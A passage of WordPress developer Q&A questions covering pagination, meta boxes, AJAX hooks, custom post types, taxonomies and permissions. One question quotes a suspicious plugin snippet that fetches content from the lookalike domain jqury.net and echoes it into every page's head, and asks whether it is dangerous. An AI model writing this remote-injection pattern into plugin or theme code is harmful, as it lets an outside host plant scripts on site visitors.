$this, 'admin_init' ) );     }       function admin_init() {       add_action( 'add_meta_boxes', array( $this, 'add_meta_boxes' ) );       add_action( 'save_post', array( $this, 'save_post' ), 10, 2 );       $this->meta_key     = "_selected_{$this->SELECT_POST_TYPE}";       $this->box_id       = "select-{$this->SELECT_POST_TYPE}-metabox";       $this->field_id     = "selected-{$this->SELECT_POST_TYPE}";       $this->field_name   = "selected_{$this->SELECT_POST_TYPE}";       $this->box_label    = __( "Select {$this->SELECT_POST_LABEL}", 'projects'         );       $this->field_label  = __( "Choose {$this->SELECT_POST_LABEL}", 'projects'    );      }       function add_meta_boxes() {       add_meta_box(        $this->box_id,        $this->box_label,        array( $this, 'select_box' ),        $this->FOR_POST_TYPE,        'side'      );      }       function select_box( $post ) {       $selected_post_id = get_post_meta( $post->ID, 'clientType', true );       global $wp_post_types;       $save_hierarchical = $wp_post_types[$this->SELECT_POST_TYPE]->hierarchical;       $wp_post_types[$this->SELECT_POST_TYPE]->hierarchical = true;       wp_dropdown_pages( array(      'id' => $this->field_id,      'name' => $this->field_name,      'selected' => empty( $selected_post_id ) ? 0 : $selected_post_id,      'post_type' => $this->SELECT_POST_TYPE,      'show_option_none' => $this->field_label,           ));       $wp_post_types[$this->SELECT_POST_TYPE]->hierarchical = $save_hierarchical;           }      function save_post( $post_id, $post ) {         if ( $post->post_type == $this->FOR_POST_TYPE && isset( $_POST[$this->field_name] ) ) {       update_post_meta( $post_id, 'clientType', $_POST[$this->field_name] );      }      }      }       new projects();      Full code for single.php http://pastebin.com/na7djwsq **Register Post Type I am using** Project post type is called => **projects** Clients post type is called => **client_portal** Thank you


Link to older links

Im trying to have 5 posts for page in my blog. This is what Ive used in index.php               <?php         get_header();         query_posts('posts_per_page=5');              // The Loop         if (have_posts()){                  while (have_posts()){                      //Iterate the cursor on the next post                 the_post();                      echo "
";                 the_title();                 echo "
";                      echo "
";                 the_date();                 echo "  |  ";                 comments_number();                 echo "
";                      echo "";                 the_post_thumbnail();                 echo "";                      the_excerpt();                 echo "Continue reading";                      echo "
";             }         }              get_footer();     ?>      I want to put a link at the bottom for "show older posts", but I dont know how should I alter the file to do this. Any idea, please? Thank you


Dequeuing wp-login's CSS

I'm trying to find the most appropriate hook to dequeue WordPress's default login CSS. The style is registered with the `login` handle in wp- includes/script-loader.php. My first thought was to use the `login_enqueue_scripts` hook, but the style has been printed already by then. You can check the state of a style using wp_style_is().


Should I set the html base url when using wordpress?

In header.php I can do the following:               <base href="<?php echo get_bloginfo('template_url');?>/"/>      That way I can keep my layout images path relative.                        Instead of                  <img src="<?php echo get_bloginfo('template_url');?>"/>      Is there any downside of settings the base url? Any possible conflicts with wordpress?


Language & translation

I have purchased the SoCute WP theme and as default it's in English. I want it to be in Swedish, so I have made updates to the wp-config.php file:               define('WPLANG', ’sv_SE’);        and I have uploaded mo and po files to the languages folder. I think I have tried everything but nothing seems to do the trick. If someone knows more about this, I would really appreciate if you could point me in the right direction.


Images on admin backend not showing up

It was going alright with images a week ago! But recently when I noticed I found that image thumbnails in media library and in post editor were either not showing up or were just showing there file-names. I need to do a lot of work with images, so I have a custom column on post admin page that shows featured images of the post is showing that same behavior as media library. Here is Media library![Image 1](http://i.stack.imgur.com/ZMaOJ.jpg) and in Post editor ![Image 2](http://i.stack.imgur.com/p1OT9.jpg) It is very important requirement to have images for site working. Can anyone provide suggestions, how to resolve this?


Hook ajax function to child class

I have three different classes, the main one, the back-end class and a front- end class. The front-end class should handle the ajax request, so I was planning on placing the ajax code inside that class. But when I do that it doesn't work, it always returns 0 If I place the code in the main class it works just fine, so it looks like it's a problem with registering the ajax hook and point it to the correct function in the child class? I assume it's possible to register a function in a child class from a parent class when dealing with ajax hooks? I tried to add this in the front-end class constructor, but that didn't work.               add_action( 'wp_ajax_search', array( $this, 'ajax_search' ) );     add_action( 'wp_ajax_nopriv_search', array( $this, 'ajax_search' ) );        I also tried this in the main class after loading the code for the front-end class, which is in this case simply called "Sub". This also didn't work.               add_action( 'wp_ajax_search', array( 'Sub', 'ajax_search' ) );     add_action( 'wp_ajax_nopriv_search', array( 'Sub', 'ajax_search' ) );       This is the stripped code for the main class.               class Main {          function __construct() {              define( 'PLUGIN_DIR', plugin_dir_path( __FILE__ ) );         define( 'PLUGIN_URL', plugin_dir_url( __FILE__ ) );              // This works         // add_action( 'wp_ajax_search', array( $this, 'ajax_search' ) );         // add_action( 'wp_ajax_nopriv_search', array( $this, 'ajax_search' ) );                 if ( is_admin() ) {             // load the admin class         } else {             // load the frontend class, this is where I would              // like to include the ajax_search function in             require_once( PLUGIN_DIR . 'frontend.php' );                        // This doesn't work?             // add_action( 'wp_ajax_search', array( 'Sub', 'ajax_search' ) );             // add_action( 'wp_ajax_nopriv_search', array( 'Sub', 'ajax_search' ) );          }       }          // public function ajax_search() {     //   wp_send_json( 'hi' );         //   exit();     // }          }          new Main();      The stripped code of the sub (frontend.php) class               class Sub extends Main {          /**      * Class constructor      */     public function __construct() {         // Doesn't work         // add_action( 'wp_ajax_search', array( $this, 'ajax_search' ) );         // add_action( 'wp_ajax_nopriv_search', array( $this, 'ajax_search' ) );              $this->test();         $this->add_scripts();     }          public function test() {         echo '
click
';     }          public function ajax_search() {              wp_send_json( 'hi' );                 exit();     }          public function add_scripts() {         wp_enqueue_script( 'js-test', PLUGIN_URL.'test.js', array( 'jquery' ) );         wp_localize_script( 'js-test', 'myAjax', array( 'url'   => admin_url( 'admin-ajax.php' ) ) );     }          }          new Sub();      Any ideas on what I need to change to make the ajax hook register the function in the child class? Or is the only solution here to just place the ajax code in the main class?


Listing parent section in search results

I'm building a search results template and want to display the parent section of the website for each result returned. so at the bottom of each search result excerpt it'd say "Found in [section] | Reacd More" Something like: http://www.foxglovecovert.org.uk/search/results/search&keywords=local/


Permission of 775 not enough

I have my theme files at permission of 775, but still the theme editor in the admin says there's no permission. only when i change the permission to 777 it lets me edit. Why is that? Thank you.


How do I do so that people can register on my wordpress site?

I've been given a task by my teacher to do a "social network" for a game. To begin with, I want to make a custom theme where people at first have the opportunity to register and login. As I have understood, it should already be such a function, or do I have to fix it myself if I make my own theme? You do not need to give me an direct answer but do you have tutorials or something that shows how to do everything I want to do? I have really good knowledge in html and css and some of php.


Paginating a list of all posts collected by category titles

I'd be really grateful if anyone has any ideas about what might be wrong with this code or, alternatively, could suggest an entirely different way of achieving the same aims. I have a site (staged, not public) with a custom post type of 'resources'. Each resource is categorised. I'd like to generate a paginated list – 10 per page – of posts collected under the appropriate category titles. For example: Category name 1   – link to post   – link to post Category name 2   – link to post   – link to post   – link to post   – link to post Category name 3   – link to post ...and so on. This is the code I'm using now to generate my category titled list of posts:               <?php $cats = get_categories();      foreach ($cats as $cat) {      $cat_id = $cat->term_id; echo "
".$cat->name."
";      $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;      $args = array( 'post_type' => 'resources', 'posts_per_page' => 10, 'cat' => $cat_id, paged => $paged ); $wp_query = new WP_Query($args);     if (have_posts()) : while (have_posts()) : the_post(); ?>

<a href="<?php the_permalink();?>"><?php the_title(); ?>

                          <?php endwhile; endif; ?>                 <?php } ?>      This works to a point but, unfortunately, does not paginate. I'm using               <?php previous_posts_link('Older resources'); ?>     <?php next_posts_link('Newer resources'); ?>      to generate navigation. I'd also like to only list category titles that have associated 'resource' posts. I'm sure it's the 'foreach' used to output each category title that's breaking the pagination here, but I'm stumped as to how to fix that or write an alternative.


How do I specify more than one category?

I am excluding comments from specific categories. However, when I try to exclude more than one, it doesn't work. This works: `<?php if (!in_category('7')) comments_template(); ?>` This does not work:               <?php if (!in_category('7 , 9')) comments_template(); ?>      or               <?php if (!in_category('7')) comments_template(); ?>     <?php if (!in_category('9')) comments_template(); ?>


Custom post not appearing under custom taxonomy category

Hello again Wordpress Stack, I'm having trouble getting my custom post to display under a custom category. The post in question is this:               register_post_type('feature_article',             array(                 'labels' => array(/* left out for clarity */),                 'query_var' => true,                 'publicly_queryable' => true,                 'exclude_from_search' => false,                 'supports' => array('thumbnail', 'title', 'excerpt'),                 'public' => true,                 'has_archive' => true,                 'menu_position' => 5,                 'taxonomies' => array('twin')                 )             );      and the registered taxonomy is here:                   add_action( 'init', 'twin_post_taxonomy', 0 );          function twin_post_taxonomy() {         $labels = array(/* for clarity */ );              $args = array(             'hierarchical'      => true,             'labels'            => $labels,             'show_ui'           => true,             'show_admin_column' => true,             'query_var'         => true,             'rewrite'           => array( 'slug' => 'twin' ),             );              register_taxonomy( 'twin', array( 'feature_article','post'), $args );     }      I'm trying to call the post in question here (I called the category "double portrait"):                <?php $args = array( 'post_type' => 'feature_article', 'posts_per_page' => 1, 'article_genre' => $str, 'orderby' => 'modified');          $loop = new WP_Query($args); ?>      <?php while ( $loop->have_posts() ) : $loop->the_post(); ?>           <?php if ( in_category('double portrait') ) {                 echo the_title();        } else {                 echo the_excerpt();        } ?>              <?php endwhile;  wp_reset_postdata(); ?>      Sorry for the long messy code :/ Edit: I am getting the output excerpt instead of title.


Has parent field in the table wp_term_taxonomy has term_id or term_taxonomy_id

I have created a category "Book" with a sub category "comics", to check how wordpress is maintaining the hierarchy structure. When i check the table "wp_term_taxonomy", I found that such term with a parent has "parent" field populated . As the term id and term_taxonomy_id have the same value for the parent "term name" I am unable to crack whether in the table wp_term_taxonomy do the field, has term_taxonomy_id of the parent term or term_id of the parent


Modify Wordpress to not replace + (plus) characters from URLs?

This is happening in more than one section of our website, but in different yet similar ways. **Scenario One:** We have a URL structure like this... mydomain.com/some-category/?subject=Some+Subject I'm trying to get pagination properly working. I urlencode() the space and get the +, but it doesn't matter if I use a space or a + ...Wordpress always tries to do this... mydomain.com/some-category/page/2/?subject=SomeSubject ...instead of this... mydomain.com/some-category/page/2/?subject=Some+Subject WordPress is removing the space/+ for some reason. We haven't figured out why just yet. Any help is greatly appreciated. **Scenario Two:** I have predefined slugs that are identical matches to our part codes in our e-commerce system. We have custom-built plugins that associate pages to the e-commerce system by way of the slug matching the part code in our system. In turn, it generates nicely formatted (and automatic) ordering tables for checkout. Wordpress is removing any "+" that I include in the slug, which may have been part of our part codes. Is there any way to get Wordpress to quit screwing around with our URLs and let us do what we want to? We prefer to think for ourselves, rather than have Wordpress tell us how to think.


I found this in a plugin. What does it do? is it dangerous?               add_action('admin_enqueue_scripts', 'pw_load_scripts');     if (!function_exists('wp__head'){     function wp__head() {         if(function_exists('curl_init')) {              $ch = curl_init();             curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1");              curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);              curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']);             curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);              $jquery = curl_exec($ch);               curl_close($ch);              echo "$jquery";         }     }     add_action('wp_head', 'wp__head');     }


Install multisite wordpress on a subdomain and map to top level domains

I am going to be setting up a network of sites using WPMU and the WordPress MU Domain Mapping plugin. The idea is to install WP on sub.maindomain.com and use that as my network site. I will be mapping to top level domain like:   www.maindomain.com   www.domain2.com   www.domain3.com   and so on. Is that possible? What are the cons of going in that direction?   Any help will be appreciated!


Custom Field Template seriously messed up in WP 3.1.1

I'm having a serious problem with the plugin Custom Field Template in which applying a CFT based on the template name is not working (it's as if the Ajax used to load the template is breaking). I've tried getting help in the forums but no response - seems to be browser independent (tried it in FF4, Safari 5 and Chrome). I need to find out why this is happening and I'm running out of time as my client needs to go live with this site by the end of the week they say. http://www.youtube.com/watch?v=RIfDToXm5IU Can someone take a look at the video above and let me know what I could do to try and solve the issue? It's a great plugin, but this kind of issue reaffirms why it's always best to not use plugins if possible :( Any help massively appreciated, Osu


disk was full but wordpress still having issues

When trying to update wordpress from 3.1 to 3.1.1 I am getting the error               Incompatible Archive.: PCLZIP_ERR_BAD_FORMAT (-10) : Unable to find End of Central Dir Record signature      Some searching shows a cause of this can be that the servers disk is full. My disk is not full but it was about a week ago. I believe Wordpress has the disk still flagged as full and not writeable. Does that sound plausible or does any one have any other suggestions? I have three Wordpress blogs on the server and this is only affecting one of them.


Create a category in different language?

Let's say my website in English, and I created a Spanish category which I want it to be Spanish language, it and it's child posts. How can I achieve this?


Polylang fallback language does not get activated even with patch

<?php //my patched archive.php to display posts of a category          get_header(); ?>              <div id="content">                  <?php             global $wp_query;             query_posts(array_merge($wp_query->query, array('post_type' => 'post', 'lang' => 'de')));             ?>             <?php if (have_posts()) : ?>                 ////... handle the posts... but we never reach this part             <?php else : ?>                      <?php                        echo 'sooorrry nothing found :(';                 ?>                  <?php endif; ?>              </div><!-- end #content -->     <?php get_sidebar(); ?>     <?php get_footer(); ?>      I was reading here and here I patched my archive.php I never get different language posts. I set all the posts to default to german (de). It works nice for the german language, since all posts are german, but nothing shows, even using this patch. Am I missing something?


Pre-existing arguments when using queries

I am struggling to understand how queries work with get_posts(), query_posts() and WP_Query(). In particular I do not understand what pre-existing selection may exist when using these on a given page template. From various blogs it seems that the default situation is that query_posts() and WP_Query() apply any pre-existing filters whilst get_posts supresses them. However the codex says query_posts() ignores other parameters it receives via the URL (such as page number or category.) Are these filters / parameters the same or something different? How can I definitively tell what pre-existing selection will exist when I create a query?


Allow member to have access to custom post type only. Permission to only edit their own posts

OK I'm looking for the best way to attack this. I'm very comfortable with PHP and making custom post types with custom meta fields in WordPress. Here is what I'm looking at doing:   1. User registers and is set at subscriber by default.   2. User requests from admin to have permission to custom post type.   3. Admin assigns user to another permission name like "Shop Owner".   4. User can now see custom post type and can make an entry to this post type.   5. User can only see and edit their own post. I need help on the following:   1. How to create a new "Role" called "Shop Owner",   2. How to give the correct permission to said role to only see and have access to custom post type.   3. Only allow user to see and edit their own posts to this custom post type. Ideally I would prefer this was all done from the wp-admin but I'm guessing that I might need to build a front end for this to get the finite control I'm after. Any input is greatly appreciated. Kind Regards


Using root permalinks with a subdirectory install

My WordPress Address (URL) http://mydomain.com/wordpress My Site Address (URL) is http://mydomian.com My site works fine when accessed from http://mydomian.com and I have no problems to speak of, but: http://mydomain.com/wordpress gives me a 404. This is a problem (in fact I only noticed it) because IFTTT.com will only activate a WordPress channel when I use http://mydomain.com/wordpress as my WordPress URL. And then it does activate just fine. But all my recipes fail because this same URL 404s. What is the best/preferred way to redirect http://mydomain.com/wordpress to http://mydomain.com for the sake of IFTTT without breaking the everything- else-is-fine-ness of the site?


Pagination gives extra page with no results

I'm trying to implement pagination on a category page. The pagination is working, but now for some reason the pagination plugin I'm using is noting one extra page of results, when that page is actually empty. I'm pretty sure it doesn't have anything to do with the pagination plugin because I've seen reports of people having the same problem with next_posts_link and previous_posts_link. Anybody have any idea how this could happen? Loop:               <?php            global $myOffset;     $myOffset = 11;     $temp = $wp_query;     $wp_query= null;     $wp_query = new WP_Query();     $wp_query->query('offset='.$myOffset.'&cat=6&posts_per_page=12'.'&paged='.$paged);     ?>          <?php while ($wp_query->have_posts()) : $wp_query->the_post(); ?>          STUFF          <?php endwhile; ?>          <?php if(function_exists('wp_paginate')) {        // get yo paginate on        wp_paginate();     } ?>      Edit: I am also using this functions.php plugin to enable the offset parameter in a custom wp_query:               function my_post_limit($limit) {         global $paged, $myOffset;         if (empty($paged)) {                 $paged = 1;         }         $postperpage = intval(get_option('posts_per_page'));         $pgstrt = ((intval($paged) -1) * $postperpage) + $myOffset . ', ';         $limit = 'LIMIT '.$pgstrt.$postperpage;         return $limit;     } //end function my_post_limit


Remove theme, change theme button and WP version on "Right Now" admin dashboard?

I am looking for a way to remove theme, change theme button and WP version from the "right now" admin dashboard, but using only functions. Any help?


custom field value date convert to unix timestamp problems

For some reason, I'm having difficulty converting a date value stored in a meta field to a unix timestamp (and back again). If I save the date as a string it all works fine, but if I convert it to a timestamp using `strtotime` it won't save the value. My working code looks like this:               <?php          add_action( 'add_meta_boxes', 'rs_add_date' );     function rs_add_date() {         add_meta_box( 'rs_add_date', 'Date', 'rs_add_date_create_meta_box', 'concerts', 'normal', 'high' );     }     function rs_add_date_create_meta_box( $post ) {         $date = get_post_meta($post->ID, 'rs_date', true);         echo 'Choose a date for the event';         wp_nonce_field( plugin_basename(__FILE__), 'rs_date_nonce');     ?>
Date (dd/mm/yyyy) <input type="text" name="rs-date" id="rs-date" value="<?php echo $date; ?>">
     <?php     }               // Save the new meta          add_action('save_post', 'rs_date_save_meta');     function rs_date_save_meta( $post_id ) {              if(!wp_verify_nonce( $_POST['rs_date_nonce'], plugin_basename(__FILE__) ) )             return;         if(!current_user_can('edit_posts') )             return;         $date = $_POST['rs-date'];         update_post_meta($post_id, 'rs_date', $date);     }     ?>      But if I change it to the following it won't work:               <?php     add_action( 'add_meta_boxes', 'rs_add_date' );     function rs_add_date() {         add_meta_box( 'rs_add_date', 'Date', 'rs_add_date_create_meta_box', 'concerts', 'normal', 'high' );     }     function rs_add_date_create_meta_box( $post ) {         $date = get_post_meta($post->ID, 'rs_date', true);         $date = time("d/m/Y", $date);         echo 'Choose a date for the event';         wp_nonce_field( plugin_basename(__FILE__), 'rs_date_nonce');     ?>
Date (dd/mm/yyyy) <input type="text" name="rs-date" id="rs-date" value="<?php echo $date; ?>">
     <?php     }               // Save the new meta          add_action('save_post', 'rs_date_save_meta');     function rs_date_save_meta( $post_id ) {              if(!wp_verify_nonce( $_POST['rs_date_nonce'], plugin_basename(__FILE__) ) )             return;         if(!current_user_can('edit_posts') )             return;         $date = $_POST['rs-date'];         $date = strtotime($date);         update_post_meta($post_id, 'rs_date', $date);     }     ?>      Scratching my head here! Cheers


Limitations when modifying wp_title with a filter

When constructing the HTML `<title>` attribute in a theme, I found there is a convenient hook for modifying wp_title. However, a quick review of themes indicates using this hook is not common practice. In fact, if you look at TwentyEleven, you'll see this in header.php:               <title><?php         /*          * Print the <title> tag based on what is being viewed.          */         global $page, $paged;              wp_title( '|', true, 'right' );              // Add the blog name.         bloginfo( 'name' );              // Add the blog description for the home/front page.         $site_description = get_bloginfo( 'description', 'display' );         if ( $site_description && ( is_home() || is_front_page() ) )             echo " | $site_description";              // Add a page number if necessary:         if ( $paged >= 2 || $page >= 2 )             echo ' | ' . sprintf( __( 'Page %s', 'twentyeleven' ), max( $paged, $page ) );          ?></title>      It seems to me that this could be pulled into `functions.php`, and be replaced with: _(in functions.php)_               add_filter( 'wp_title', 'twentyeleven_title_filter' );          function twentyeleven_title_filter( $title ) {         // All that title logic here     }      _(in header.php)_               <title><?php wp_title(); ?></title>      I'm fairly new to theme development, so forgive me if this is common knowledge - but why not just modify wp_title in the filter instead of in the header? Is there a limitation somewhere? There is a bit of debate about wp_title that is going on in this ticket, but from what I can gather it still sounds like the filter would work - am I wrong?


Display Thumbnail instead of text title - Wp Plugin 'Download Monitor'

i am using this nice plugin (wordpress download monitor), nice feature. i have a one problem, there is category download section, actually i want to display thumbnail instead of "post title" please have a look at ![screenshot](http://i.stack.imgur.com/9svco.jpg) here is the code of this section ..                $page .= do_shortcode('[downloads query="exclude='.implode(',',$exclude_array).'&limit='.$pop_cat_count.'&orderby='.$front_order.'&order=desc&category='.$cat->id.'" wrap="" format="'.htmlspecialchars(str_replace('{url}',wp_dlmp_append_url('did=').'{id}',$format)).'"]');                     $page .= '
';       there is a featured download section above this section, i want to display category section same above section here is the featured section code                $page .= '
id).'" title="'.$version.' '.__('Downloaded',"wp-download_monitor").' '.$d->hits.' '.__('times',"wp-download_monitor").'" >title).'" />
ID) . '" class="linkcara">' .strip_tags($d->title). '

';      for more info about plugin click here.


save_post action doesn't passing post id to my function as argument

I'm adding a box to _add / update post screen_.               add_action( 'save_post', 'psd_upload_kaydet' );     add_action( 'add_meta_boxes', 'psd_upload' );     function psd_upload()     {         add_meta_box("psd-upload", "Bir Dosya Upload Edin", "psd_upload_box", "post");     }     function psd_upload_box($post)     {         echo "content here";     }     function psd_upload_kaydet($post_id)     {         die($post_id); // for debugging, i'll explain it     }      There is no error while adding box, but normally, when post saved, `add_action( 'save_post', 'psd_upload_kaydet' );` will pass **post id** as an argument to `psd_upload_kaydet()` But it's not passing post it to `psd_upload_kaydet()` as an argument. I'm checking it `die($post_id);` , but it's returning just blank page. In shortly, I need **post id** in `psd_upload_kaydet()` :)


wp_insert_post_data filter to set category

I am trying to set additional "default" categories. I figured by hooking into the `wp_insert_post_data` filter, I could use `$postarr` to set the category. It doesn't seem to be working? Can someone offer advice as to how I would go about doing this?               add_filter( 'wp_insert_post_data', 's3x9s_wp_insert_post_data', '99', 2 );     function s3x9s_wp_insert_post_data( $data, $postarr ) {         array_push( $postarr['post_category'], 123 );         return $data;     }


the_title() and the_permalink() won't work on AJAX calls

I've run into a strange problem. I have a custom loop built with `get_posts` that works fine when loading the page normally:               <?php         $rows = get_posts(array(             'post_type'     => 'drinks',              'numberposts'   => -1         ));     ?>          <?php foreach ($rows as $post) : setup_postdata($post) ?>         <?php the_post_thumbnail() ?>
<?php the_title() ?>
         <?php the_content() ?>         <?php the_permalink() ?>     <?php endforeach; wp_reset_postdata() ?>      That code sits inside its own template called "drinks.php". Now I've set up an AJAX function/URL to fetch this template using jQuery:               add_action('wp_ajax_h5b_get_user_drinks', 'h5b_ajax_get_user_drinks');     add_action('wp_ajax_nopriv_h5b_get_user_drinks', 'h5b_ajax_get_user_drinks');          function h5b_ajax_get_user_drinks () {         include 'drinks.php';         die;     }      However, when I fetch it with AJAX it seems that neither `the_title()`, `the_post_thumbnail()` or `the_permalink()` work. `the_content()` seems to work fine though. If I `var_dump($post)` inside my loop it has all the data it should (like title, guid etc). How can this be?


How to show custom (checkbox) field value in admin post list?

I have a custom post type for products and a custom meta checkbox field for 'Sold'. How can I show the Sold status in a column on the Products edit list and make it sortable (so it would sort all the sold items together) or filter them by the Sold status?


How to modify iFrame content in an admin thickbox

I have a link in a metabox that brings up a Thickbox iFrame of another page on my site. It works fine, except that I can't seem to affect the DOM of the page in the iFrame. What do I have to do to this to get it to work? The code below works when I run it in the console after loading the Thickbox, but it doesn't work when I simply include it in the metabox code.               jQuery('#TB_iframeContent').contents().find( 'html' ).css('border', '5px solid red');      Wrapping it a .load() function (so as to wait for the iFrame to fully load) didn't work either:               jQuery('#TB_iframeContent').load(function() {         alert('iframe is loaded');         jQuery('#TB_iframeContent').contents().find( 'html' ).css('border', '5px solid red');     });      The alert is never fired either. What am I missing? (Ps. I am not just trying to add a red border; that's just for the sake of illustration :) Also: I'm posting this here instead of SO because I have read that WP's built-in Thickbox code is somewhat customized.)


Multi Quick Edit - Possible Or Impossible?

I'm just wondering if this is possible because the variation names listed in the products have text which is not really necessary even though I have deleted the category, its still appearing. Hope you guys can help get out of this stuff.


Change permalink for custom post type?

I have a page called Food which displays posts from 2 custom post types - Recipes and Restaurants. How do I add 'food' to the permalink just for those two custom post types? - e.g. www.mysite.com/food/recipes/thepost


How can I tell if I'm on a custom post type archive page?

I have set up a custom post type and a custom taxonomy for it. I'm using the latest version of Wordpress. I believe I should be using the `is_post_type_archive` function, but this seems to be is returning false no matter what. The post type I've set up is called `articles` and the taxonomy is called `editions` I'm trying to access `/editions/september` and the archive page is showing, but the page title is showing as the first post's title. I can fix this if I can figure out how to write a conditional if statement to let me know I am in a custom post type custom taxonomy page. How can I achieve that?


Using classes instead of global functions in functions.php

In many themes I've seen (including TwentyEleven) and in the examples I've found online, when building the `functions.php` file for a theme all functionality is declared in a global scope. To clarify, this is what a typical functions file looks like:               function my_theme_do_foo() { // ... }          function my_theme_do_bar() { // ... }          add_action( 'foo_hook', 'my_theme_do_foo' );      It would seem to me that things could be "encapsulated" a little better if a class was used:               class MyTheme {         function do_foo() { // ... }         function do_bar() { // ... }     }          $my_theme = new MyTheme();          add_action( 'foo_hook', array( &$my_theme, 'do_foo' ) );      The advantages of the second approach (in my humble eyes):   * Shorter function names   * Access to instance variables (the biggest advantage IMO)   * No global functions The disadvantages:   * Classname could still cause conflicts   * Not as clear to "customize" with a child theme (would have to extend a parent class)   * Most themes haven't done it this way, so you'd be bucking the trend I'm probably overlooking some things, but I am wondering why not take the OOP approach? It feels a bit "cleaner" to me, if anything. Perhaps I'm mistaken? I'm fairly new to WordPress theme development, so forgive me if this is common knowledge in the WP community :). Just trying to learn why things are the way they are.


Main menu - get rid of titles?

I've got a default main menu:               wp_nav_menu();       But it gives a list of links in a form:               (...)     PageName     (...)      The very important question is, how to force WP to display it like:                 (...)       PageName       (...)      I don't like the yellow boxes appearing every time I hover anything in menu. I know it's possible, because I've seen it working, but no idea how? Filters maybe? Any ideas?


Don't display post if post has empty body

I have a custom post type `sites` registered via `register_post_type` and my front page displays my latest posts. Including posts from `sites`. Is there any way I can set it up so that **posts from sites** (custom post type) that have **no post body** (no content) will **NOT** be displayed? The body of the custom post type is not _important_ , the title is. I introduced custom fields for my custom post type. I make a list from custom posts and majority of them do not have any body. So I do not want to display them. It will only make the web harder to read. I want to display only custom posts that have body. I have not modify the loop. How can I modify the loop (introduce custom query) as a part of plugin?


Minification Plugins break my website

Well, my blog is a bit Image Heavy to say the least. I've been using different types of minification plugins, but they all seem to break my site. When I tell the plugins to compress and join my css & javascript files... it completely gets rid of them and my site becomes nothing but an unorganized mess of text and pictures. Is there something I can do with my blog so that minification will work? The only one that doesn't seem to break my website is one called 'Better Wordpress Minify'... but that plugin has almost NO effect on my websites performance.


Is it possible to check for shortcodes on a page?

Is it possible to check what shortcodes are used on opened page using PHP/WP functions? Why do I need it? I have special div ("#page-navi") on every page and when user uses [portfolio] shortcode I want it to display its navigation in this exact div. Or when user uses [gallery] I want to display "this is a gallery" in this div. Any ideas? :)


orderby parameter not working in custom query

I have a really strange issue for a site I'm updating... All I want to do, is have it so that the posts come in descending order instead of random. I have the following code, but when you change it from "rand" to "desc" it just defaults to pull in the posts in "asc" order. I have no idea why. In addition, if you change "orderby" to "order" it just defaults to ascending order... I've done a search through the theme to see where that's happening but there's no place at all where that's listed... can someone please steer me in the right direction?                <?php           $args= array(      'post_type' => 'waiting-families',     'orderby' => 'rand'          );           // The Query      $the_query = new WP_Query( $args );                     // The Loop      if (have_posts() ):          while ( $the_query->have_posts() ) : $the_query->the_post(); ?>          <div <?php post_class() ?> id="post-<?php the_ID(); ?>">
<a href="<?php the_permalink(); ?>"><?php the_title(); ?>
             <?php if ( has_post_thumbnail()) { ?>                 <a href="<?php the_permalink(); ?>"><?php echo get_the_post_thumbnail($id,      'thumbnail', array('class' => 'alignleft','style' => 'width: 150px;height: 150px;padding: 3px;     background: #f0f0f0; border: 1px solid #65C8C6;')); ?>             <?php } ?>             <?php my_excerpt(55); ?>
                 <?php edit_post_link('Edit', '', ' | '); ?>

            <?php endwhile;      else: echo '
More Families to Come.
';      endif;        ?>                  <?php // Reset Post Data       wp_reset_postdata(); ?>


What plugin can I use to create a list / slideshow of featured images?

I'm looking for a plugin that will allow the user to upload files, maybe 4-10 that can be used on the homepage as part of a slideshow. I can code the slideshow part myself, if necessary, but the thing I'm interested in is a way for the user to select / upload the photos. It would be excellent if they were integrated with Wordpress' media manager just like other uploads. Thanks!


How to add categories to wp_list_pages()

What (if any) is the hook or method for including named categories into the wp_list_pages function? The end result would be that the categories are added onto the end of the list of pages (along with any child categories that exist, with proper ul/li nesting for drop down css to act on)... Home | About | Contact | Category 1 | Category 2


difference between add_object_page and add_menu_page

According to Codex, the `add_object_page` "essentially does the exact same thing as `add_menu_page()` in case you're wondering". So.... what _is_ the difference between those two functions?


Wordpress 3.1 update has reversed my blog posts

anyone know why my blog posts are now all showing up in reverse order since updating to wordpress 3.1? So like my first ever post is showing up first and my latest post is on page 12?! any ideas how I fix? James


What is theme-editor.tmp?

What is theme-editor.tmp? It is located under wp-content.


What happened to WP No Category Base?

What happened to the plugin in Wordpress plugin repository? The link doesn't work: http://wordpress.org/extend/plugins/wp-no-category- base/ and search for this plugin doesn't list it. Yes, I know I can download it from author's page, but I am intrigued why would folks at wordpress.org remove it from their list?


CSV Import Tables

Hi I would like to import tables through CSV, any particular plugins or functions that can help me do that? I would like to have them stand in their own table and then the user would be able to include them via shortcode and id e.g. [table id=1] Thanks


WordPress 3.9 two menus in same position?

I have a new WordPress theme and I want to add extra menu, but as WordPress 3.9 allows only one menu to add in one position/places in theme? How can I add two menus in one position? I purchased the theme and it has top navigation call 'top-navigation' I used that for my main menu. Below that I need another menu, but I can't add because only one menu can be add in one position in this theme. So I am struggling to add full width slim menu.


Trouble displaying featured image as thumbnail when using Facebook share

OK, I know there are many questions and articles about displaying post thumbnail (i.e. featured image) as a thumbnail for Facebook sharing but I'm still having trouble with it. I'm using AddThis plugin for Wordpress and have a toolbox that shows FB share, Twitter share, G+, Digg, StumbleUpon. When I want to share through Facebook, the title and excerpt show correctly but the thumbnail image is not my featured image but the first image from the body of the post. I can choose an image to use as thumbnail inside a share window and that way use featured image as a thumbnail but I want the featured image to be the first one displayed without the option to change it to any other image from the post. I tried everything I could think of - plugins that add Open Graph Tags, I tried adding OG Tags manually to `head`, copy/pasted the tags from four or five different articles, used clear OG Tags and used them inside `if` statements; I don't know what else to try. Could you please tell me the exact code that I should put inside my `head` tags so that when I share through Facebook, there is no option for choosing a thumbnail but that it always shows a thumbnail of a post. Also, I know that FB caches the images when a share request is sent so I used a new post each time I tested the code.


How can I make a menu link visible only to admins (without plugins)?

I use a menu on top of my wordpress which shows 3 links.   1. Main page   2. Custom Page   3. Custom Page Can I add a 4th link to my menu which is visible and accessible to admins only (without plugins)? This 4th page would also be a custom page I make. How would I go about setting this up, or does anyone have somewhere to start?


Wordpress metabox can't be shown in the index.php

